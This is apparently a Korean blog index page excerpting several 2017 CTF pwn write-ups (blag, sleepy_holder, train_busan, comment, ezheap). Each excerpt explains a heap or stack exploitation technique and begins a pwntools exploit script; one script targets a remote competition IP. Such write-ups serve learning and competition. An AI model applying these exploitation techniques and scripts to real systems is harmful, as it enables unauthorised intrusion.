분류 전체보기
-
-
-
-
TJCTF blagCTF 2017. 1. 14. 21:12
이런문제 풀지마삼 실력 안늘음 풀거찾아보다가 찾은건데 너무 쉬워서 failed 그냥 롸업 써놔야겠다. adminpassword를 구하는문제인데, 그냥 간단하게 오버플로가나는데 argv[0]포인터를 건드릴수있음 /home/ctfd/blag 라는 argv[0] 포인터가 있다. 이걸 이용해서 뭘 하냐 ㅎㅇ 포인터이거로 바꾸면 릭가능 1234567891011121314from pwn import * p = process("./blag") print p.recvuntil(">")p.sendline("add")p.sendline("a")p.sendline("a")password = 0x804B080 payload = "A"*296payload += p32(password)p.sendline(payload)p.int..
-
HITCON CTF sleepy_holderCTF 2017. 1. 11. 23:08
sleepy_holder는 secret_holder랑 비슷한데 huge chunk를 한번할당할수있다. 요약을 하자면 got를 덮되, free(small) 이렇게 wipe하기때문에 small의 포인터를 조작하고 free를 puts로해서 puts(got) 식으로 릭을 한다. unsafe_unlink로 fake chunk만들어서 하는 문제 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374from pwn import * p = remote("10.211.55.3",11111) def keep(select,data)..
-
H3X0R CTF train_busanCTF 2017. 1. 10. 13:25
이 문제는 힙을 다루는데, 정확히 말하자면 fastbin attack 이다. 청크는 3개만 할당 가능하고, unlink는 딱 한번만 할당이 가능하며, modify 기능이 있다. 한 청크가 할당도되면 0x18사이즈로 할당이되고, 입력이 가능해진다. 힙 오버플로우 또한 그냥 주게된다. 여기서 힙오버플로우가 발생하니까 fd와 bk를 조작해서 어떠한 주소를 조작할수있단 얘기다. unlink를 호출하는데, B를 unlink한다. 그럼 B의 fd와 bk를 조작해서 fd를 덮는다면 모두 끝날것이다. 처음엔, fd에 got를, bk에 one_shot주소를 덮었지만 세그폴이 발생해서 이 방법으론 안되겠다고 생각하고, 포인터를 조작했다. A,B,C를 조작할수있는데 B는 unlink되니까 C나 A를 조작하면된다. C를 조작..
-
H3X0R CTF commentCTF 2017. 1. 9. 04:20
500점 바이너리인데, 그냥 익스만 엄청나게 귀찮음 argv[0] 포인터를 password주소로 조작해, abort를 일으키면 argv[0]포인터가 password이기때문에 서버의 password를 릭할수있음 그리고 카나리릭은 딱 1024바이트만 입력하는 write 기능에서는 절대 불가능하고 Edit기능에서 오버플로우를 통해 카나리의 앞 \x00(널) 바이트를 채워 puts로 릭을 할 수 있음. 그리고 edit으로 카나리와 RET까지만 덮되 RET는 쉽게 익스하기위해 gets 함수를 호출하는 login함수로 돌림 신나게 ROP 바뀐 바이너리에서 안함 익스하고나니까 업데이트 전 바이너리 ㅁㄴㅇㄹ 그냥 여기서 파일 다운받고 로컬에서 시도 바람 어차피 똑같음 1234567891011121314151617181..
-
H3X0R CTF ezheapCTF 2017. 1. 8. 02:28
한번 free하게되면 함수포인터가있는곳에 할당이되는데 기존힙에 쉘코드 + 놉을 넣어주고 조작한 함수포인터를 호출하면댐 from pwn import * p = remote("52.199.49.117",10003) # p = remote("10.211.55.3",11111) leak = int(p.recv(9),16) log.info(hex(leak)) print p.recvuntil(">>>") p.sendline("1") print p.recvuntil(">>>") p.sendline("3") payload = "AAAA" p.sendline(payload) print p.recvuntil(">>>") p.sendline("4") print p.recvuntil("Exit?") p.sendline("0"..